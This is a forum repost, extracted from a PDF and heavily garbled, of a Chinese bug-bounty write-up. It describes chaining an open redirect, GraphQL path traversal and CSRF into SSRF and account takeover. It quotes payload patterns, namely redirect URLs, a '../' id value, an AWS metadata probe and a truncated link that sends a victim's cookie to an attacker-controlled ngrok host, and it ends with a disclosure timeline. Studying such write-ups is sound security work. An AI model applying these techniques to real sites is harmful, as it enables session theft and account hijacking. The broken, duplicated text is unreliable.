搜索

[16086] 2020-11-13_挖洞经验开放重定向漏洞导致的账户劫持

文档创建者：s7ckTeam
浏览次数：12
最后更新：2025-01-18
2020-11-13_挖洞经验开放重定向漏洞导致的账户劫持 挖 洞 经 验   |   开 放 重 定 向 漏 洞 导 致 的 账 户 劫 持 c l o u d s   F r e e B u f   2 0 2 0 - 1 1 - 1 3 最 近 ， 在 测 试 目 标 网 站 最 近 ， 在 测 试 目 标 网 站 h t t p s : / / t a r g e t . c o m 的 过 程 中 ， 作 者 通 过 综 合 其 的 过 程 中 ， 作 者 通 过 综 合 其 W e b 应 用 存 在 的 开 放 重 定 向 、 路 径 应 用 存 在 的 开 放 重 定 向 、 路 径 遍 历 和 遍 历 和 C S R F 漏 洞 ， 最 终 实 现 了 账 户 劫 持 。 漏 洞 ， 最 终 实 现 了 账 户 劫 持 。 从 从 . . / 到 开 放 重 定 向 说 起 到 开 放 重 定 向 说 起 经 过 对 目 标 网 站 h t t p s : / / t a r g e t . c o m 的 测 试 之 后 ， 我 发 现 了 其 中 存 在 一 个 开 放 重 定 向 问 题 ， 如 果 我 们 在 请 求 G E T   / a p i / . . 前 添 加 两 个 / 号 ， 就 会 得 到 以 下 响 应 ： 也 即 ， 会 跳 转 到 a p i / . . 路 径 下 。 经 过 反 复 尝 试 后 ， 我 构 造 了 这 个 链 接 h t t p s : / / t a r g e t . c o m / / / g o o g l e . c o m / / ， 向 目 标 网 站 发 起 请 求 后 ， 它 会 执 行 一 个 到 g o o g l e . c o m 的 跳 转 ： 开 放 重 定 向 一 般 来 说 都 属 低 危 漏 洞 ， 所 以 我 决 定 再 深 挖 看 看 其 它 的 。 路 径 遍 历 路 径 遍 历 我 注 册 了 h t t p s : / / t a r g e t . c o m / 上 的 W e b 应 用 ， 在 应 用 过 程 中 配 合 b u r p 进 行 抓 包 ， 之 后 我 发 现 其 网 站 会 向 一 个 G r a p h Q L   A P I 发 起 不 同 请 求 。 G r a p h Q L 是 一 种 A P I 数 据 查 询 语 言 ， 很 多 大 公 司 都 用 G r a p h Q L   A P I 代 替 了   R E S T   A P I 。 在 测 试 该 网 站 的 G r a p h Q L   A P I 后 ， 名 为 G e t A u t h o r i z e d A p p s 的 变 更 请 求 吸 引 了 我 的 注 意 ， 它 的 功 能 是 用 来 连 接 第 三 方 a p p 应 用 以 O A u t h 对 账 号 进 行 验 证 。 该 请 求 本 身 没 有 多 大 问 题 ， 但 其 中 出 现 的 i d 变 量 确 实 让 我 有 了 兴 趣 ， 这 里 的 i d 是 以 s t r i n g 而 并 非 整 数 被 发 送 传 输 的 ， 当 时 我 就 想 ， 这 个 i d 号 能 否 用 来 对 目 标 网 站 内 部 某 个 A P I 执 行 s s r f 请 求 呢 ？ 就 像 h t t p : / / l o c a l h o s t : 8 0 8 0 / a p i / 1 / : I D 这 样 ？ 所 以 我 就 以 6 1 5 6 0 1 ’ 为 i d 号 ， 发 起 的 请 求 ， 看 看 服 务 端 会 抛 出 什 么 错 误 响 应 ？ 事 实 证 明 我 是 对 的 ， 服 务 端 响 应 中 给 出 了 A P I 的 详 细 路 径 目 录 ， 我 接 着 又 构 造 了 6 1 5 6 0 1 . . / . . / . . / 的 i d 值 发 起 了 请 求 ， 服 务 端 响 应 中 给 出 了 其 网 站 的 根 目 录 路 径 ： 该 问 题 原 因 可 能 在 于 U R L 解 析 库 在 请 求 前 不 当 地 执 行 了 目 录 路 径 遍 历 。 P a t h   t r a v e r s a l   +   O p e n   r e d i r e c t   =   S S R F 基 于 上 述 发 现 ，   我 们 来 看 看 现 在 的 情 况 。 目 标 网 站 使 用 R E S T 和 G r a p h Q L 方 式 来 获 取 、 更 改 和 删 除 用 户 数 据 ， 而 G r a p h Q L 有 点 类 似 R E S T   A P I 的 代 理 ， 其 可 以 向 服 务 端 不 同 的 R E S T 端 点 发 起 s s r f 请 求 ， 以 获 取 或 更 改 相 关 数 据 ， 就 比 如 以 下 G r a p h Q L 请 求 模 式 ： { “ q u e r y ” : ” q u e r y   G e t U s e r ( $ i d :   I D ! ) { n   G e t U s e r ( i d :   $ i d ) n } } ” , ” v a r i a b l e s ” : { “ I D ” : ” 1 2 3 4 5 ” } }   会 向 端 点 h t t p s : / / t a r g e t . c o m / a p i / u s e r / 1 2 3 4 5 发 起 一 个 内 部 的 G E T 请 求 。 H T T P   1 . 1   3 0 1 . . . . L o c a t i o n :   / / a p i / . . . . . .
所 以 ， 这 就 形 成 了 一 个 开 放 重 定 向 （ O p e n   r e d i r e c t ） 和 一 个 目 录 遍 历 漏 洞 （ P a t h   t r a v e r s a l ） ， 而 P a t h   t r a v e r s a l   +   O p e n   r e d i r e c t   =   S S R F 。 接 着 ， 我 通 过 自 架 的 n g r o k 网 站 实 例 配 合 b u r p c o l l a b o r a t o r ， 来 验 证 最 终 的 S S R F 效 果 ， 得 到 以 下 响 应 ： 结 果 就 是 ， 我 们 可 以 让 目 标 网 站 服 务 端 请 求 我 的 n g r o k 服 务 / / / X X X X X X X X . n g r o k . i o / /   ， 证 明 S S R F 请 求 成 功 。 我 这 边 在 n g r o k 服 务 中 收 到 的 请 求 信 息 如 下 ： 尝 试 请 求 尝 试 请 求 A W S 元 数 据 碰 壁 元 数 据 碰 壁 有 了 上 述 的 S S R F 漏 洞 ， 接 下 来 我 想 尝 试 去 请 求 目 标 网 站 部 署 在 A W S   E C 2 实 例 的 元 数 据 。 我 写 了 一 个 p y t h o n 脚 本 ， 创 建 了 一 个 H T T P   S e r v e r ， 把 所 有 对 h t t p : / / 1 6 9 . 2 5 4 . 1 6 9 . 2 5 4 的 入 站 请 求 都 跳 转 到 了 我 自 架 的 n g r o k 服 务 中 ， 另 外 一 个 原 因 是 目 标 网 站 只 支 持 h t t p s ， 用 n g r o k 服 务 刚 好 可 以 实 现 。 以 下 是 最 终 响 应 ： 无 法 读 取 请 求 响 应 ， 原 因 在 于 服 务 端 希 望 请 求 是 J S O N 形 式 的 。 但 尽 管 如 此 ， 我 还 是 可 以 利 用 该 方 式 探 测 到 目 标 的 内 部 网 络 架 构 ， 但 最 终 漏 洞 危 害 也 会 仅 限 于 中 危 而 已 。 之 后 ， 又 经 过 几 多 测 试 ， 我 发 现 了 另 一 种 该 种 漏 洞 利 用 的 提 权 方 式 。 G o t c h a ! 还 记 得 上 面 那 个 S S R F 请 求 吗 ， 我 n g r o k 服 务 端 收 到 的 s s r f 请 求 如 下 ： 其 中 的 c o o k i e 头 就 是 用 户 会 话 信 息 ， 因 此 可 以 通 过 用 X S S 方 式 来 利 用 这 个 c o o k i e 信 息 。 但 我 找 了 好 久 也 没 发 现 可 用 的 X S S 漏 洞 。 之 后 ， 我 发 现 另 一 个 与 G e t A u t h o r i z e d 请 求 相 似 的 请 求 Z t s p l X X X X X X X ： 经 过 比 对 ， 我 发 现 ， G e t A u t h o r i z e d 请 求 与 Z t s p l X X X X X X X 请 求 的 不 同 之 处 在 于 ， G e t A u t h o r i z e d 请 求 是 一 个 变 更 （ m u t a t i o n ） 请 求 ， 而 Z t s p l X X X X X X X 请 求 是 一 个 正 常 请 求 。 另 外 ， 由 于 G r a p h Q L 端 点 是 A p o l l o 服 务 端 ， 且 支 持 如 下 G E T 请 求 ： G E T   / g r a p h q l ? q u e r y = q u e r y   a T e s t ( $ a r g 1 :   S t r i n g ! )   { t e s t ( w h o :   $ a r g 1 )   } & o p e r a t i o n N a m e = a T e s t & v a r i a b l e s = { “ a r g 1 ” : ” m e ” } 因 为 变 更 请 求 不 支 持 G E T 请 求 ， 所 以 可 以 利 用 该 Z t S p X X X X X X X X X 请 求 来 综 合 上 述 发 现 实 现 C S R F 攻 击 。 综 合 利 用 综 合 利 用 一 个 开 放 重 定 向 漏 洞 ， 一 个 路 径 遍 历 漏 洞 ， 再 加 一 个 C S R F 漏 洞 ， 综 合 构 造 以 下 链 接 以 获 取 受 害 者 C o o k i e 信 息 ： 只 要 受 害 者 点 击 上 述 链 接 ， 他 的 C o o k i e 信 息 就 会 被 发 送 到 我 的 n g r o k 服 务 端 来 ， 我 也 即 能 利 用 他 的 c o o k i e 信 息 登 录 他 的 账 户 ， 实 现 账 户 劫 持 。 h t t p s : / / t a r g e t . c o m / a p i / g r a p h q l / v 2 ? q u e r y = q u e r y   Z t S p X X X X X X X X X ( $ i d :   I D ! )   {     X X X X X X X X ( i d :   $ i d )   {         t i t l e         s t e p s         h e a d S e r v i c e   {             i d             n a m e             _ _ t y p e n a m e         }         t a i l S e r v i c e   {             i d             n a m e             _ _ t y p e n a m e         }         s e r v i c e s   {             i d             n a m e             _ _ t y p e n a m e         }         _ _ t y p e n a m e     } } & v a r i a b l e s = {
漏 洞 报 送 和 处 理 进 程 漏 洞 报 送 和 处 理 进 程 2 0 2 0 . 8 . 2 9   发 现 开 放 重 定 向 和 路 径 遍 历 漏 洞 2 0 2 0 . 8 . 3 0   发 现 可 实 现 账 号 劫 持 的 漏 洞 2 0 2 0 . 9 . 1 8   漏 洞 被 评 为 严 重 ， 经 修 复 后 发 放 赏 金 参 考 来 源 ： 参 考 来 源 ： n i n e t y n 1 n e 精 彩 推 荐 精 彩 推 荐 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理